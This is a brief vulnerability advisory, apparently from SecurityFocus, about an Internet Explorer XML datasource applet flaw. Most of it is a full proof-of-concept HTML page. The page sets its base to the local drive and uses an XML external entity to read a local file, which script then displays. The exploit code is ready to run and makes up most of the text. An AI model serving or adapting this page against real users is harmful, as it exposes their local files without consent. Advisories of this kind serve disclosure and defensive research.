source: https://www.securityfocus.com/bid/5490/info A problem in Microsoft Internet Explorer could lead to the disclosure of sensitive information. Due to the design of the datasource applet, it may be possible for a user to view the contents of local files via a remote page. By building a custom-crafted page that specifies the code base as the local system, it would be possible to display the contents of known local files. <html> <head> <base href="file:///C:/"> </head> <body> <applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true"> <?xml version="1.0"?> <!DOCTYPE file [ <!ELEMENT file (#PCDATA) > <!ENTITY contents SYSTEM "file:///C:/jelmer.txt"> ]> <file> &contents; </file> </applet> <script language="javascript"> setTimeout("showIt()",2000); function showIt() { var jelmer = xmldso.getDocument(); alert(jelmer.Text); } </script> </body> </html>